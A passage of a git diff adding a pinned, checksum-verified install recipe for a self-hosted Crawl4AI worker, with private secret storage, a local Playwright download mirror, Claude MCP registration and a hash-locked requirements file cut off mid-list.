b/blueprints/runtime-workers/crawl4ai/host.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 +"""Private host state, following docs/secret-storage.md and Python secrets/os APIs. + +Only init writes; the builder never invokes it. Values are not printed. +""" +import argparse +import json +import os +import secrets +import stat +from pathlib import Path + + +def locations(): + prefix = Path.home() / ".local/share/codex-ecosystem/tools/crawl4ai-0.9.4" + state = Path.home() / ".local/state/native-agent-stack/runtime-workers/crawl4ai" + return prefix, state + + +def outside_repository(path, *, mapped_leaf=False): + resolved = path.resolve() + # A previously initialized container mount can be owned by a mapped UID and + # mode 0700. Its host-owned ancestors remain inspectable; do not enter it. + parents = resolved.parents if mapped_leaf else (resolved, *resolved.parents) + if any((parent / ".git").exists() for parent in parents): + raise ValueError("private installation/state must be outside every Git repository") + if path.is_symlink(): + raise ValueError("refusing symlink at private root") + + +def private_file(path): + mode = path.lstat() + if not stat.S_ISREG(mode.st_mode) or stat.S_IMODE(mode.st_mode) != 0o600 or mode.st_uid != os.getuid(): + raise ValueError("private file must be owned regular file with mode 0600") + outside_repository(path) + + +def load_host(): + _, state = locations() + path = state / "host.json" + private_file(path) + data = json.loads(path.read_text()) + ports = [data[key] for key in ("api_port", "fixture_port", "mirror_port", "e2e_api_port")] + if any(type(p) is not int or not 3730 <= p <= 3799 for p in ports) or len(set(ports)) != 4: + raise ValueError("private host ports must be distinct integers in 3730..3799") + for key in ("docker", "python", "working_directory"): + if not Path(data[key]).is_absolute() or "\n" in data[key]: + raise ValueError("host paths must be absolute single-line values") + if data["docker_context"] != "rootless": + raise ValueError("this recipe requires the rootless Docker context") + return data + + +def initialize(): + prefix, state = locations() + for root in (prefix, state): + outside_repository(root) + root.mkdir(mode=0o700, parents=True, exist_ok=True) + root.chmod(0o700) + for name in ("secrets", "cache", "crawl", "work", "runs", "downloads", "browser-cache", "tmp", "containers"): + path = state / name + outside_repository(path) + path.mkdir(mode=0o700, exist_ok=True) + path.chmod(0o700) + for store in ("persistent", "e2e"): + parent = state / "containers" / store + outside_repository(parent) + parent.mkdir(mode=0o700, exist_ok=True) + for kind in ("crawl", "cache", "redis"): + path = parent / kind + mapped = path.exists() and path.lstat().st_uid != os.getuid() + outside_repository(path, mapped_leaf=mapped) + # After first startup these are owned by appuser inside rootless Docker. + # Do not attempt to chmod/chown an existing mapped-UID directory on host. + path.mkdir(mode=0o700, exist_ok=True) + host = state / "host.json" + if not host.exists(): + template = Path(__file__).parent / "config/host.example.json" + data = json.loads(template.read_text()) + content = json.dumps({key: value.replace("${HOME}", str(Path.home())) if isinstance(value, str) else value + for key, value in data.items()}, indent=2) + "\n" + with os.fdopen(os.open(host, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "w") as stream: + stream.write(content) + load_host() + for name in ("api_token", "secret_key", "redis_password"): + path = state / "secrets" / name + if not path.exists(): + with os.fdopen(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "w") as stream: + stream.write(secrets.token_hex(32) + "\n") + private_file(path) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("action", choices=("init", "get")) + parser.add_argument("key", nargs="?") + args = parser.parse_args() + if args.action == "init": + initialize() + else: + print(load_host()[args.key]) diff --git a/blueprints/runtime-workers/crawl4ai/install-browser.py b/blueprints/runtime-workers/crawl4ai/install-browser.py new file mode 100644 index 000000000..94e7f8706 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/install-browser.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python3 +"""Verified mirror for Playwright's supported install command. See research.md. + +References: playwright 1.63.0 driver/package/lib/coreBundle.js:33650-33675 +(PLAYWRIGHT_DOWNLOAD_HOST), Python 3.12 http.server and urllib.request. +""" +import functools +import hashlib +import http.server +import json +import os +import subprocess +import threading +import urllib.request +from pathlib import Path + +from host import load_host, locations + + +class QuietHandler(http.server.SimpleHTTPRequestHandler): + def log_message(self, *_): + pass + + +def main(): + prefix, state = locations() + metadata = json.loads((Path(__file__).parent / "browser-artifacts.json").read_text()) + downloads = state / "downloads" + for artifact in metadata["artifacts"]: + target = downloads / artifact["mirror_path"] + target.parent.mkdir(parents=True, mode=0o700, exist_ok=True) + if not target.exists(): + temporary = target.with_suffix(".partial") + try: + with urllib.request.urlopen(artifact["url"], timeout=60) as response, temporary.open("wb") as out: + while block := response.read(1024 * 1024): + out.write(block) + with temporary.open("rb") as stream: + if hashlib.file_digest(stream, "sha256").hexdigest() != artifact["sha256"]: + raise ValueError("browser artifact checksum mismatch") + temporary.replace(target) + finally: + temporary.unlink(missing_ok=True) + with target.open("rb") as stream: + if hashlib.file_digest(stream, "sha256").hexdigest() != artifact["sha256"]: + raise ValueError("retained browser artifact checksum mismatch") + if target.stat().st_size != artifact["size"]: + raise ValueError("browser artifact size mismatch") + port = load_host()["mirror_port"] + server = http.server.ThreadingHTTPServer(("127.0.0.1", port), functools.partial(QuietHandler, directory=str(downloads))) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + env = os.environ.copy() + env["PLAYWRIGHT_DOWNLOAD_HOST"] = f"http://127.0.0.1:{port}" + for key in ("PLAYWRIGHT_CHROMIUM_DOWNLOAD_HOST", "PLAYWRIGHT_FIREFOX_DOWNLOAD_HOST", "PLAYWRIGHT_WEBKIT_DOWNLOAD_HOST"): + env.pop(key, None) + try: + subprocess.run([str(prefix / "venv/bin/python"), "-m", "playwright", *metadata["install_args"]], env=env, check=True) + finally: + server.shutdown() + server.server_close() + thread.join() + + +if __name__ == "__main__": + main() diff --git a/blueprints/runtime-workers/crawl4ai/install.sh b/blueprints/runtime-workers/crawl4ai/install.sh new file mode 100755 index 000000000..e63365ed9 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/install.sh @@ -0,0 +1,58 @@ +#!/usr/bin/env bash +# Sources: v0.9.4 release pip path; uv 0.12.17 pip sync hash checking; +# Docker's digest pull; Playwright 1.63.0 install --only-shell + download mirror. +set -euo pipefail +NAS_CRAWL4AI_RECIPE="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +# shellcheck source=common.sh +source "$NAS_CRAWL4AI_RECIPE/common.sh" +[[ "$(uname -m)" == x86_64 && "$(uname -s)" == Linux ]] || { echo 'Linux x86_64 required' >&2; exit 1; } +[[ "$(uv --version)" == 'uv 0.12.17'* ]] || { echo 'uv 0.12.17 required' >&2; exit 1; } +# Promptfoo 0.123.1 site/docs/installation.md; no global/default npm prefix. +node -e 'const [major, minor] = process.versions.node.split(".").map(Number); if (major < 22 || (major === 22 && minor < 22)) process.exit(1)' +command -v npm >/dev/null +python3 - "$NAS_CRAWL4AI_RECIPE" <<'PY' +import hashlib, json, pathlib, sys +root = pathlib.Path(sys.argv[1]) +pins = json.loads((root / 'pins.json').read_text()) +assert hashlib.sha256((root / 'requirements.lock').read_bytes()).hexdigest() == pins['requirements_lock_sha256'], 'reviewed lock hash mismatch' +assert hashlib.sha256((root / 'grader/package-lock.json').read_bytes()).hexdigest() == pins['grader']['lock_sha256'], 'reviewed grader lock hash mismatch' +PY +python3 "$NAS_CRAWL4AI_RECIPE/host.py" init +NAS_CRAWL4AI_PYTHON="$(python3 "$NAS_CRAWL4AI_RECIPE/host.py" get python)" +NAS_CRAWL4AI_DOCKER="$(python3 "$NAS_CRAWL4AI_RECIPE/host.py" get docker)" +NAS_CRAWL4AI_DOCKER_CONTEXT="$(python3 "$NAS_CRAWL4AI_RECIPE/host.py" get docker_context)" +"$NAS_CRAWL4AI_PYTHON" -c 'import sys; assert sys.version_info[:2] == (3, 12)' +"$NAS_CRAWL4AI_DOCKER" --context "$NAS_CRAWL4AI_DOCKER_CONTEXT" info --format '{{json .SecurityOptions}}' | + python3 -c 'import json,sys; assert any("rootless" in x for x in json.load(sys.stdin)), "rootless Docker required"' +uv venv --python "$NAS_CRAWL4AI_PYTHON" --allow-existing "$NAS_CRAWL4AI_PREFIX/venv" +# The release's upstream lock is stale; requirements.lock is a derived, hash-pinned wheel closure. +uv pip sync --python "$NAS_CRAWL4AI_PREFIX/venv/bin/python" --require-hashes --only-binary :all: \ + --cache-dir "$NAS_CRAWL4AI_STATE/cache/uv" "$NAS_CRAWL4AI_RECIPE/requirements.lock" +mkdir -p "$NAS_CRAWL4AI_PREFIX/venv/.cache" "$NAS_CRAWL4AI_PREFIX/recipe" +if [[ ! -e "$PLAYWRIGHT_BROWSERS_PATH" && ! -L "$PLAYWRIGHT_BROWSERS_PATH" ]]; then + ln -s "$NAS_CRAWL4AI_STATE/browser-cache" "$PLAYWRIGHT_BROWSERS_PATH" +fi +[[ "$(readlink -- "$PLAYWRIGHT_BROWSERS_PATH")" == "$NAS_CRAWL4AI_STATE/browser-cache" ]] || { + echo 'Browser cache belongs to another installation; refusing replacement' >&2; exit 1; +} +# Retain a standalone reviewed recipe. Never copy research scratch space or a credential. +python3 - "$NAS_CRAWL4AI_RECIPE" "$NAS_CRAWL4AI_PREFIX/recipe" <<'PY' +import pathlib, shutil, sys +source, destination = map(pathlib.Path, sys.argv[1:]) +if source.resolve() != destination.resolve(): + shutil.copytree(source, destination, dirs_exist_ok=True, + ignore=shutil.ignore_patterns('.research', '__pycache__', '.gitignore')) +PY +export TMPDIR="$NAS_CRAWL4AI_STATE/tmp" +mkdir -p "$NAS_CRAWL4AI_PREFIX/grader" +cp "$NAS_CRAWL4AI_RECIPE/grader/package.json" "$NAS_CRAWL4AI_RECIPE/grader/package-lock.json" "$NAS_CRAWL4AI_PREFIX/grader/" +# npm/cli@v11.19.0 docs/lib/content/commands/npm-ci.md:15-24. +npm ci --ignore-scripts --prefix "$NAS_CRAWL4AI_PREFIX/grader" --cache "$NAS_CRAWL4AI_STATE/cache/npm" \ + --no-audit --no-fund +PROMPTFOO_CONFIG_DIR="$NAS_CRAWL4AI_STATE/grader" PROMPTFOO_DISABLE_TELEMETRY=1 \ + PROMPTFOO_DISABLE_UPDATE=1 "$NAS_CRAWL4AI_GRADER" --version +"$NAS_CRAWL4AI_PYTHON" "$NAS_CRAWL4AI_PREFIX/recipe/install-browser.py" +NAS_CRAWL4AI_IMAGE="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["image"])' "$NAS_CRAWL4AI_RECIPE/pins.json")" +"$NAS_CRAWL4AI_DOCKER" --context "$NAS_CRAWL4AI_DOCKER_CONTEXT" pull --platform linux/amd64 "$NAS_CRAWL4AI_IMAGE" +"$NAS_CRAWL4AI_PREFIX/venv/bin/python" -c 'import importlib.metadata as m; assert m.version("crawl4ai") == "0.9.4"; assert m.version("playwright") == "1.63.0"' +echo 'Pinned native environment and Docker image installed. Service and E2E have separate commands.' diff --git a/blueprints/runtime-workers/crawl4ai/mcp-config.py b/blueprints/runtime-workers/crawl4ai/mcp-config.py new file mode 100644 index 000000000..2efc2c2d4 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/mcp-config.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +"""Native Claude SSE registration; config contains a helper, never a bearer value. + +Sources: Crawl4AI@133e1d92 docs/md_v2/core/self-hosting.md:404-419; +anthropics/claude-code@v2.1.283 CHANGELOG.md:5048,6971 (headersHelper), +installed `claude mcp add-json --help`; code.claude.com/docs/en/mcp. +""" +import argparse +import json +import shlex +import subprocess +from host import load_host, locations, private_file + + +def configuration(): + prefix, _ = locations() + return {"type": "sse", "url": f"http://127.0.0.1:{load_host()['api_port']}/mcp/sse", + "headersHelper": "python3 " + shlex.quote(str(prefix / "recipe/mcp-config.py")) + " headers", + "timeout": 180000} + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("action", choices=("config", "register", "headers")) + args = parser.parse_args() + if args.action == "headers": + # Only Claude's trusted headersHelper should invoke this action. + _, state = locations() + token = state / "secrets/api_token" + private_file(token) + print(json.dumps({"Authorization": "Bearer " + token.read_text().strip()})) + return 0 + config = json.dumps(configuration()) + if args.action == "register": + return subprocess.run(["claude", "mcp", "add-json", "crawl4ai", "--scope", "local", config], check=False).returncode + print(config) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/crawl4ai/pins.json b/blueprints/runtime-workers/crawl4ai/pins.json new file mode 100644 index 000000000..26f376e3d --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/pins.json @@ -0,0 +1,46 @@ +{ + "version": "0.9.4", + "grader": { + "repository": "https://github.com/promptfoo/promptfoo", + "version": "0.123.1", + "tag": "0.123.1", + "package": "promptfoo@0.123.1", + "node_minimum": "22.22.0", + "installation": "https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/installation.md", + "mode": "standalone assertions over native output", + "assertions": [ + "is-json", + "equals" + ], + "lockfile": "grader/package-lock.json", + "lock_sha256": "a64877fe75a939652e3d98277ca35a331935f45ddea5860535e20e1d24bf7a7a", + "lock_source": "npm/cli@v11.19.0 metadata-only package-lock resolution of promptfoo/promptfoo@0.123.1 with version-scoped get-uri@8.0.1 > basic-ftp@6.2.1 override (package-json.md#overrides); npm-ci.md:15-24; registry.npmjs.org integrity for every package", + "install": "npm ci --ignore-scripts --no-audit --no-fund" + }, + "repository": "https://github.com/unclecode/crawl4ai", + "tag": "v0.9.4", + "commit": "133e1d92e37885dfccc03ea2e3687d06c98b7ceb", + "image": "unclecode/crawl4ai@sha256:048848e548fad60c670bd656cbb3eb204fd999709a30365d3697c411ce50796d", + "image_platform": "linux/amd64", + "image_index_digest": "sha256:9021b3cb5c6f12570bbcd5395638495e0a06969b3148e377b953d174af2ebc9b", + "image_config_digest": "sha256:e051a8fb924de84ddbb89abb8728062e68ba920ad2eff26b13783986b8d647b1", + "image_provenance_blob": "sha256:2b95a7c52886c9b195ac9a908781f08e2ac063a00da048482ff171eeaf59445a", + "image_provenance": "Docker Registry v2 manifest bytes and Docker-Content-Digest agree; BuildKit SLSA provenance vcs:revision agrees with the release commit", + "image_build_run": "https://github.com/unclecode/crawl4ai/actions/runs/35859470077/attempts/1", + "wheel": { + "url": "https://files.pythonhosted.org/packages/44/35/0bd5efdf383623983423a387a368aff85ddbe50079159957b1978e4db6ea/crawl4ai-0.9.4-py3-none-any.whl", + "sha256": "46779c8a93b35c7c5f9be9642ddef5e7b515e36b094639bb8e1e418bf0266179", + "provenance": "PyPI release JSON digests.sha256" + }, + "upstream_lock_sha256": "c672410c737e3085cae56d948854596284b7ac55066a97d9241d91913e3bb8e9", + "upstream_lock_usable": false, + "requirements_lock_sha256": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "python": "3.12", + "uv": "0.12.17", + "litellm_distribution": "unclecode-litellm==1.81.13", + "litellm_wheel_sha256": "5e1fbedbed92333b48e7371e0bacf86d1288020451bf34351703c3b159591399", + "playwright": "1.63.0", + "playwright_wheel_sha256": "ad21bc07516b187965a7521c5cf0df0bd657b17482eaad74335272d35a2b07de", + "upstream_supervisor_sha256": "f29b039f81b6cb3a19702cb65a52fe724061d984c0660a6134202d5fc3f18933", + "upstream_skill_zip_sha256": "a0014632d6f16ede6477a4d4eb4635c7bfc37f03a08c95f9a4ff52a09ae66091" +} diff --git a/blueprints/runtime-workers/crawl4ai/registry-evidence.json b/blueprints/runtime-workers/crawl4ai/registry-evidence.json new file mode 100644 index 000000000..033b2d139 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/registry-evidence.json @@ -0,0 +1,12 @@ +{ + "observed_on": "2026-09-27", + "evidence_class": "read-only upstream registry metadata and byte hashes; no image pull/runtime", + "tag": "0.9.4", + "index": "sha256:9021b3cb5c6f12570bbcd5395638495e0a06969b3148e377b953d174af2ebc9b", + "linux_amd64_manifest": "sha256:048848e548fad60c670bd656cbb3eb204fd999709a30365d3697c411ce50796d", + "config": "sha256:e051a8fb924de84ddbb89abb8728062e68ba920ad2eff26b13783986b8d647b1", + "image_user": "appuser", + "version_label": "0.9.4", + "provenance_blob": "sha256:2b95a7c52886c9b195ac9a908781f08e2ac063a00da048482ff171eeaf59445a", + "provenance_revision": "133e1d92e37885dfccc03ea2e3687d06c98b7ceb" +} diff --git a/blueprints/runtime-workers/crawl4ai/requirements.in b/blueprints/runtime-workers/crawl4ai/requirements.in new file mode 100644 index 000000000..8f862c1f2 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/requirements.in @@ -0,0 +1,3 @@ +# Release metadata: https://pypi.org/pypi/crawl4ai/0.9.4/json +# v0.9.4's uv.lock predates its unclecode-litellm dependency; see research.md. +crawl4ai==0.9.4 diff --git a/blueprints/runtime-workers/crawl4ai/requirements.lock b/blueprints/runtime-workers/crawl4ai/requirements.lock new file mode 100644 index 000000000..d40746c21 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/requirements.lock @@ -0,0 +1,3140 @@ +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 + # via crawl4ai +aiohappyeyeballs==2.7.1 \ + --hash=sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d \ + --hash=sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472 + # via aiohttp +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + 